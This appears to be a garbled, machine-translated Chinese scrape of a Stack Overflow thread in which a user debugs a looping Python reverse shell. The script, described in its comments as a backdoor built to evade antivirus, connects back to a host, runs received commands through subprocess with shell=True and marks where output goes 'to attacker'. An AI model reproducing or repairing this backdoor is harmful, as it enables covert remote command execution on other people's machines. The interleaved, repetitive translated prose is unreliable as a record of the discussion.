Python 为什么这段代码在前12行代码中不断循环?
(假设所有缩进和空格都是正确的)Python 为什么这段代码在前12行代码中不断循环?,python,loops,execute,Python,Loops,Execute,(假设所有缩进和空格都是正确的) 这段代码一直循环,直到它说打印“好的#1”。它似乎没有转移到其他代码行。我第一次尝试自己制作这种脚本,但一直失败,所以我上网寻求帮助。执行此代码花了一段时间,因此我放置了打印脚本,以便查看是否工作正常。您的连接方法在调用s.connect((主机,端口))时引发异常。它会打印“OK#1”,但下一行就会爆炸。于是,它跳转到你的套接字。error块并调用pass。然后它休眠5毫秒,然后再次尝试,结果完全一样 你能找出socket.error是什么并记录它吗 也许你可
这段代码一直循环,直到它说打印“好的#1”。它似乎没有转移到其他代码行。我第一次尝试自己制作这种脚本,但一直失败,所以我上网寻求帮助。执行此代码花了一段时间,因此我放置了打印脚本,以便查看是否工作正常。您的连接方法在调用
s.connect((主机,端口))
时引发异常。它会打印“OK#1”,但下一行就会爆炸。于是,它跳转到你的套接字。error
块并调用pass
。然后它休眠5毫秒,然后再次尝试,结果完全一样
你能找出socket.error是什么并记录它吗
也许你可以试试这个(基于此):
试试看。。。除了在循环中通过,而在循环中为True
可能吗?特别是如果您没有看到任何“访问…”
输出…请修复缩进。另外,不要静默地传递'socket.error``——至少要记录它们。也许你不应该有一个与socket方法('connect')同名的函数。您可以在connect函数中调用s.connect()。我真的不知道如何找出socket.error是什么并记录它。你能告诉我怎么做吗?@user3132831你可以试试我的更新代码,告诉我是否有效。我输入了你给我的while True:script,现在我收到一个语法错误,在外面说语法错误:“break”loop@user3132831对不起,我的蟒蛇有点生锈了。如果尝试raise socket.error而不是break,会发生什么情况?这样就消除了语法错误。但它似乎并没有从打印“启动侦听器和反转Shell进程”开始,至少输出显示了这一点
#! /usr/bin/env python
# Copyright (c) 2011 Xavier Garcia www.shellguardians.com
# All rights reserved.
# Based on the Python connect back shell written by David Kennedy
# http://www.secmaniac.com/june-2011/creating-a-13-line-backdoor-worry-free-of-av/
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of copyright holders nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
import socket
import subprocess
import sys
import time
HOST = '127.0.0.1'
PORT = 8080
print "Starting Listener and Reverse Shell proccess."
def connect((host, port)):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Okay #1"
s.connect((host, port))
print "Accessing..."
return s
def wait_for_command(s):
data = s.recv(1024)
print "Phase three, completed"
if data == "quit\n":
s.close()
sys.exit(0)
print "Socket Closed. Unable to boot."
# the socket died
elif len(data)==0:
return True
else:
# do shell command
proc = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
print "I think this worked..."
return False
def main():
while True:
socked_died=False
try:
s=connect((HOST,PORT))
while not socked_died:
socked_died=wait_for_command(s)
s.close()
except socket.error:
pass
time.sleep(5)
if __name__ == "__main__":
sys.exit(main())
while True:
socked_died=False
try:
s=connect((HOST,PORT))
while not socked_died:
socked_died=wait_for_command(s)
s.close()
except socket.error, (value,message):
if s:
s.close()
print "Could not open socket: " + message
sys.exit(1)
time.sleep(5)